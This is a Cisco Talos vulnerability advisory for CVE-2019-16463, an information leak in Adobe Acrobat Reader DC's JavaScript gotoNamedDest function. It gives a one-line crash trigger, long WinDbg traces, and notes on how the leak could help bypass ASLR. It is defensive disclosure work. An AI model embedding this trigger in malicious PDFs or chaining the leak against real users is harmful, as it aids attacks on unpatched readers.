Talos Vulnerability Report

TALOS-2019-0947

Adobe Acrobat Reader DC Javascript gotoNamedDest information leak vulnerability

December 10, 2019
CVE Number

CVE-2019-16463

Summary

A specific JavaScript code embedded in a PDF file can lead to information leak when opening a PDF document in Adobe Acrobat Reader DC 2019.021.20048. With careful memory manipulation, this can lead to sensitive information disclose which could be abused when exploiting another vulnerability to bypass mitigations. In order to trigger this vulnerability, the victim would need to open the malicious file or access a malicious web page.

Tested Versions

Adobe Acrobat Reader DC 2019.021.20048

Product URLs

https://get.adobe.com/reader/

CVSSv3 Score

6.8 - CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:H

CWE

CWE-754: Improper Check for Unusual or Exceptional Conditions

Details

Adobe Acrobat Reader is the most popular and most feature-rich PDF reader. It has a big user base, is usually a default PDF reader on systems and integrates into web browsers as a plugin for rendering PDFs. As such, tricking a user into visiting a malicious web page or sending a specially crafted email attachment can be enough to trigger this vulnerability.

Adobe Acrobat Reader DC supports embedded JavaScript code in the PDF to allow for interactive PDF forms. This gives the potential attacker the ability to precisely control memory layout and poses additional attack surface.

Javascript gotoNamedDest function's use is to jump to a specified bookmark. However, calling this function with a non-existent bookmark name causes an exception to be thrown which is not handled properly. Simply executing the following code is enough to trigger it:

app.activeDocs[0].gotoNamedDest("nonexistant"); 

This will lead to the following crash:

(1774.ac4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=af81e6c0 ebx=056fc98c ecx=16b9c9b0 edx=463cafb8 esi=7ffeffb1 edi=96b8c970
eip=6a53e1c0 esp=056fc8d4 ebp=056fc8ec iopl=0         nv up ei ng nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010282
VCRUNTIME140!TrailingDownVec+0x80:
6a53e1c0 f30f6f06        movdqu  xmm0,xmmword ptr [esi] ds:002b:7ffeffb1=????????????????????????????????
0:000> k 5 
 # ChildEBP RetAddr  
00 056fc8d8 674f8d02 VCRUNTIME140!TrailingDownVec+0x80 [f:\dd\vctools\crt\vcruntime\src\string\i386\memcpy.asm @ 505] 
WARNING: Stack unwind information not available. Following frames may be wrong.
01 056fc8ec 67d9f8b6 AcroRd32!AcroWinMainSandbox+0xb432
02 056fc998 694a01a7 AcroRd32!AIDE::PixelPartInfo::operator=+0xf90e6
03 056fca50 69453681 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x37567
04 056fcb98 694371dd EScript!mozilla::HashBytes+0x42d01
0:000> dd esi 
7ffeffb1  ???????? ???????? ???????? ????????
7ffeffc1  ???????? ???????? ???????? ????????
7ffeffd1  ???????? ???????? ???????? ????????
7ffeffe1  ???????? ???????? ???????? ????????
7ffefff1  ???????? ???????? ???????? ????????
7fff0001  b4eeeeee 00411b36 00000000 00000000
7fff0011  00000000 00000000 00000000 bb000000
7fff0021  00abcdbb b907f010 00463caf 00463cb0
0:000> ?ecx
Evaluate expression: 381274544 = 16b9c9b0
0:000> dd edi
96b8c970  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
96b8c980  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
96b8c990  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
96b8c9a0  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
96b8c9b0  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
96b8c9c0  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
96b8c9d0  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
96b8c9e0  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0

From the above, we can conclude that the crash happens on a memcpy call and at the time of the crash memcpy source points to invalid memory, size argument is huge and destination points to valid memory. Stepping back a bit shows that the function where the crashing memcpy call happens is the following:

eax=0cfb3ee2 ebx=00000001 ecx=67d9f710 edx=00000004 esi=67d9f710 edi=00000000
eip=694a01a5 esp=00afcd3c ebp=00afcde0 iopl=0         nv up ei pl zr na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000247
EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x37565:
694a01a5 ffd6            call    esi {AcroRd32!AIDE::PixelPartInfo::operator=+0xf8f40 (67d9f710)}
0:000>

Due to exception handling, function arguments will be accessed through ebx:

eax=0cfb3ee2 ebx=00000001 ecx=67d9f710 edx=00000004 esi=67d9f710 edi=00000000
eip=694a01a5 esp=00afcd3c ebp=00afcde0 iopl=0         nv up ei pl zr na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000247
EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x37565:
694a01a5 ffd6            call    esi {AcroRd32!AIDE::PixelPartInfo::operator=+0xf8f40 (67d9f710)}
0:000> t
eax=0cfb3ee2 ebx=00000001 ecx=67d9f710 edx=00000004 esi=67d9f710 edi=00000000
eip=67d9f710 esp=00afcd38 ebp=00afcde0 iopl=0         nv up ei pl zr na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000247
AcroRd32!AIDE::PixelPartInfo::operator=+0xf8f40:
67d9f710 6a08            push    8
0:000> p
eax=0cfb3ee2 ebx=00000001 ecx=67d9f710 edx=00000004 esi=67d9f710 edi=00000000
eip=67d9f712 esp=00afcd34 ebp=00afcde0 iopl=0         nv up ei pl zr na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000247
AcroRd32!AIDE::PixelPartInfo::operator=+0xf8f42:
67d9f712 6a78            push    78h
0:000> 
eax=0cfb3ee2 ebx=00000001 ecx=67d9f710 edx=00000004 esi=67d9f710 edi=00000000
eip=67d9f714 esp=00afcd30 ebp=00afcde0 iopl=0         nv up ei pl zr na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000247
AcroRd32!AIDE::PixelPartInfo::operator=+0xf8f44:
67d9f714 b8b5e25e68      mov     eax,offset AcroRd32!CTJPEGThrowException+0x182b35 (685ee2b5)
0:000> 
eax=685ee2b5 ebx=00000001 ecx=67d9f710 edx=00000004 esi=67d9f710 edi=00000000
eip=67d9f719 esp=00afcd30 ebp=00afcde0 iopl=0         nv up ei pl zr na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000247
AcroRd32!AIDE::PixelPartInfo::operator=+0xf8f49:
67d9f719 e8c8467dff      call    AcroRd32!DllCanUnloadNow+0x36fc6 (67573de6)
0:000> 
eax=00afcd1c ebx=00afcd34 ecx=67d9f710 edx=00000004 esi=67d9f710 edi=00000000
eip=67d9f71e esp=00afcc90 ebp=00afcd28 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
AcroRd32!AIDE::PixelPartInfo::operator=+0xf8f4e:
67d9f71e 8b730c          mov     esi,dword ptr [ebx+0Ch] ds:002b:00afcd40=00afcda4
0:000> 
eax=00afcd1c ebx=00afcd34 ecx=67d9f710 edx=00000004 esi=00afcda4 edi=00000000
eip=67d9f721 esp=00afcc90 ebp=00afcd28 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
AcroRd32!AIDE::PixelPartInfo::operator=+0xf8f51:
67d9f721 85f6            test    esi,esi

Above shows access to the first argument copied into esi. We can see the following:

0:000> dd esi
00afcda4  00000000 33120ff0 0000000b 00000000
00afcdb4  00000000 00000000 00000000 00000000
00afcdc4  00000000 00000000 df5e6de7 00afcd44
00afcdd4  00afcf1c 695a4c33 00000001 00afcf28
00afcde4  69453681 3aaccfb8 3c944fe8 39804fb8
00afcdf4  3ca1eff0 df5e6f2f 00afcf94 69452f30
00afce04  00000000 6943a3ae 39acaf58 3c252e38
00afce14  00000001 26652fe8 3c944fe8 3aaccfb8
0:000> da poi(esi+4)
33120ff0  "nonexistant"

Third dword is a pointer to our bookmark string, and fourth is a length value. These are supposed to be used in a later memcpy call as source and length arguments. However, continuing execution shows that an exception is raised:

0:000> sxe eh
0:000> g
(74c.24f0): C++ EH exception - code e06d7363 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** Unable to resolve unqualified symbol in Bp expression 'termdd.sys+2966'.
eax=00afca98 ebx=00afcb44 ecx=00000003 edx=00000000 esi=6a531530 edi=68b91e54
eip=74a62cf2 esp=00afca98 ebp=00afcaf0 iopl=0         nv up ei pl nz ac po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000212
KERNELBASE!RaiseException+0x62:
74a62cf2 8b4c2454        mov     ecx,dword ptr [esp+54h] ss:002b:00afcaec=fa5e0730
0:000> k
 # ChildEBP RetAddr  
00 00afcaf0 6a534926 KERNELBASE!RaiseException+0x62
01 00afcb34 67761501 VCRUNTIME140!_CxxThrowException+0x66 [f:\dd\vctools\crt\vcruntime\src\eh\throw.cpp @ 131] 
WARNING: Stack unwind information not available. Following frames may be wrong.
02 00afcb4c 67633434 AcroRd32!CTJPEGDecoderRelease+0x7d541
03 00afcb70 679e40fb AcroRd32!DllCanUnloadNow+0xf6614
04 00afcb80 675950f6 AcroRd32!AX_PDXlateToHostEx+0x18ad1b
05 00afcbac 67595037 AcroRd32!DllCanUnloadNow+0x582d6
06 00afcc08 67594eeb AcroRd32!DllCanUnloadNow+0x58217
07 00afcc4c 676d3468 AcroRd32!DllCanUnloadNow+0x580cb
08 00afcc7c 67d9f7f1 AcroRd32!DllCanUnloadNow+0x196648
09 00afcd28 694a01a7 AcroRd32!AIDE::PixelPartInfo::operator=+0xf9021
0a 00afcde0 69453681 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x37567
0b 00afcf28 694371dd EScript!mozilla::HashBytes+0x42d01
0c 00afcf9c 69431deb EScript!mozilla::HashBytes+0x2685d
0d 00afd430 69430d4b EScript!mozilla::HashBytes+0x2146b
0e 00afd468 69430c5b EScript!mozilla::HashBytes+0x203cb
0f 00afd4a4 69430b90 EScript!mozilla::HashBytes+0x202db
10 00afd4d8 6941a1ec EScript!mozilla::HashBytes+0x20210
11 00afd528 69459ec9 EScript!mozilla::HashBytes+0x986c
12 00afd5ac 69459b84 EScript!mozilla::HashBytes+0x49549
13 00afd760 694595fa EScript!mozilla::HashBytes+0x49204
14 00afd7ac 69458592 EScript!mozilla::HashBytes+0x48c7a
15 00afd844 694d6e0f EScript!mozilla::HashBytes+0x47c12
16 00afd8a4 67dc59e7 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x6e1cf
17 00afd8c8 67cd14ed AcroRd32!AIDE::PixelPartInfo::operator=+0x11f217
18 00afd958 67ccce43 AcroRd32!AIDE::PixelPartInfo::operator=+0x2ad1d
19 00afd9a8 67a828c8 AcroRd32!AIDE::PixelPartInfo::operator=+0x26673
1a 00afd9d8 67a82e3a AcroRd32!AX_PDXlateToHostEx+0x2294e8
1b 00afda30 67cd114e AcroRd32!AX_PDXlateToHostEx+0x229a5a

After following the exception handling unwinding we end up back at the function that ends up calling memcpy:

Breakpoint 2 hit
eax=00000000 ebx=00afcd1c ecx=00000009 edx=ffffffa8 esi=80010000 edi=00000009
eip=67d9f88c esp=00afcc90 ebp=00afcd28 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
AcroRd32!AIDE::PixelPartInfo::operator=+0xf90bc:
67d9f88c 8b730c          mov     esi,dword ptr [ebx+0Ch] ds:002b:00afcd28=00afcde0
0:000> u
AcroRd32!AIDE::PixelPartInfo::operator=+0xf90bc:
67d9f88c 8b730c          mov     esi,dword ptr [ebx+0Ch]
67d9f88f 8b4608          mov     eax,dword ptr [esi+8]
67d9f892 40              inc     eax
67d9f893 50              push    eax
67d9f894 e8f72075ff      call    AcroRd32!AcroWinMainSandbox+0x40c0 (674f1990)
67d9f899 8bf8            mov     edi,eax
67d9f89b 897dd4          mov     dword ptr [ebp-2Ch],edi
67d9f89e 897dcc          mov     dword ptr [ebp-34h],edi

Notice in the above disassembly output that function arguments are again referenced from ebx and that value in esi is copied from ebx+0xc. Again, dword at esi+8 is supposed to be string size, but if we examine ebx we'll see it's now shifted:

0:000> dd ebx
00afcd1c  00afcdd4 685ee2b5 00000001 00afcde0
00afcd2c  694a01a7 00000078 00000001 694a01a7
00afcd3c  35af61b8 00afcda4 df5e6de7 3aaccfb8
00afcd4c  39ac8fc0 694a0020 01000002 695b44ec
00afcd5c  00000003 00000000 00afcd9c 00000001
00afcd6c  00000000 00000005 00010000 00000000
00afcd7c  00000000 ffffffff 00000000 3aaccfb8
00afcd8c  3c944fe8 39804fb8 2994ed78 00000001

Consequently, esi no longer points to the valid, expected structure:

0:000> dd esi
00afcde0  00afcf28 69453681 3aaccfb8 3c944fe8
00afcdf0  39804fb8 3ca1eff0 df5e6f2f 00afcf94
00afce00  69452f30 00000000 6943a3ae 39acaf58
00afce10  3c252e38 00000001 26652fe8 3c944fe8
00afce20  3aaccfb8 3bf29ad8 00000000 365e90e8
00afce30  3bfa0dd0 694a0020 00000000 3c944fe8
00afce40  01252e38 00000000 39804fb8 39ac8fc0
00afce50  3ca1eff0 00000000 39ac8fc0 3801cff0

Third dword is now 3aaccfb8 which ends up being used as a size argument to malloc and creates a very large heap allocation:

0:000> p
eax=3aaccfb9 ebx=00afcd1c ecx=00000009 edx=ffffffa8 esi=00afcde0 edi=00000009
eip=67d9f893 esp=00afcc90 ebp=00afcd28 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
AcroRd32!AIDE::PixelPartInfo::operator=+0xf90c3:
67d9f893 50              push    eax
0:000> 
eax=3aaccfb9 ebx=00afcd1c ecx=00000009 edx=ffffffa8 esi=00afcde0 edi=00000009
eip=67d9f894 esp=00afcc8c ebp=00afcd28 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
AcroRd32!AIDE::PixelPartInfo::operator=+0xf90c4:
67d9f894 e8f72075ff      call    AcroRd32!AcroWinMainSandbox+0x40c0 (674f1990)
0:000> 
eax=7fff0040 ebx=00afcd1c ecx=3aaccfb9 edx=01000002 esi=00afcde0 edi=00000009
eip=67d9f899 esp=00afcc8c ebp=00afcd28 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
AcroRd32!AIDE::PixelPartInfo::operator=+0xf90c9:
67d9f899 8bf8            mov     edi,eax
0:000> ?eax
Evaluate expression: 2147418176 = 7fff0040
0:000> !heap -p -a eax
*** Unable to resolve unqualified symbol in Bp expression 'termdd.sys+2966'.
    address 7fff0040 found in
    _DPH_HEAP_ROOT @ b71000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                46e00104:         7fff0040         3aaccfb9 -         7fff0000         3aace000
          unknown!fillpattern
    6bd4abb0 verifier!AVrfDebugPageHeapAllocate+0x00000240
    77e1245b ntdll!RtlDebugAllocateHeap+0x00000039
    77d76dd9 ntdll!RtlpAllocateHeap+0x000000f9
    77d75ec9 ntdll!RtlpAllocateHeapInternal+0x00000179
    77d75d3e ntdll!RtlAllocateHeap+0x0000003e
*** Unable to resolve unqualified symbol in Bp expression 'termdd.sys+2966'.
    76691406 ucrtbase!_malloc_base+0x00000026
    674f19a9 AcroRd32!AcroWinMainSandbox+0x000040d9
    67d9f899 AcroRd32!AIDE::PixelPartInfo::operator=+0x000f90c9
    694a01a7 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x00037567
    69453681 EScript!mozilla::HashBytes+0x00042d01
    694371dd EScript!mozilla::HashBytes+0x0002685d
    69431deb EScript!mozilla::HashBytes+0x0002146b
    69430d4b EScript!mozilla::HashBytes+0x000203cb
    69430c5b EScript!mozilla::HashBytes+0x000202db
    69430b90 EScript!mozilla::HashBytes+0x00020210
    6941a1ec EScript!mozilla::HashBytes+0x0000986c
    69459ec9 EScript!mozilla::HashBytes+0x00049549
    69459b84 EScript!mozilla::HashBytes+0x00049204
    694595fa EScript!mozilla::HashBytes+0x00048c7a
    69458592 EScript!mozilla::HashBytes+0x00047c12
    694d6e0f EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x0006e1cf
    67dc59e7 AcroRd32!AIDE::PixelPartInfo::operator=+0x0011f217
    67cd14ed AcroRd32!AIDE::PixelPartInfo::operator=+0x0002ad1d
    67ccce43 AcroRd32!AIDE::PixelPartInfo::operator=+0x00026673
    67a828c8 AcroRd32!AX_PDXlateToHostEx+0x002294e8
    67a82e3a AcroRd32!AX_PDXlateToHostEx+0x00229a5a
    67cd114e AcroRd32!AIDE::PixelPartInfo::operator=+0x0002a97e
    676740e8 AcroRd32!DllCanUnloadNow+0x001372c8
    6767406a AcroRd32!DllCanUnloadNow+0x0013724a
    67645317 AcroRd32!DllCanUnloadNow+0x001084f7
    6759930c AcroRd32!DllCanUnloadNow+0x0005c4ec
    675986b5 AcroRd32!DllCanUnloadNow+0x0005b895

Continuing execution further leads to a memcpy call:

AcroRd32!AIDE::PixelPartInfo::operator=+0xf90da:
67d9f8aa ff7608          push    dword ptr [esi+8]
67d9f8ad ff7604          push    dword ptr [esi+4]
67d9f8b0 57              push    edi
67d9f8b1 e8309475ff      call    AcroRd32!AcroWinMainSandbox+0xb416 (674f8ce6) (actually memcpy)

Here, newly allocated huge memory chunk is used as a destination, invalid pointer is used as a source and an invalid value as a size. Since the destination is big enough, no buffer overflow will happen, but memcpy call will crash when it reaches an unmapped memory address:

(74c.24f0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=a3f206c0 ebx=00afcd1c ecx=16b9c9b0 edx=3aaccfb8 esi=7ffeffb1 edi=96b8c970
eip=6a53e1c0 esp=00afcc64 ebp=00afcc7c iopl=0         nv up ei ng nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010282
VCRUNTIME140!TrailingDownVec+0x80:
6a53e1c0 f30f6f06        movdqu  xmm0,xmmword ptr [esi] ds:002b:7ffeffb1=????????????????????????????????

Shifting the stack leads to an invalid pointer being used where a pointer to a known structure is expected. If this pointer can be at least partially controlled, a large part of heap memory could be copied into controlled memory buffer which could be abused as an info leak to aid bypassing ASLR or other mitigations.

Timeline

2019-10-31 - Vendor Disclosure
2019-12-10 - Vendor patched; public release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.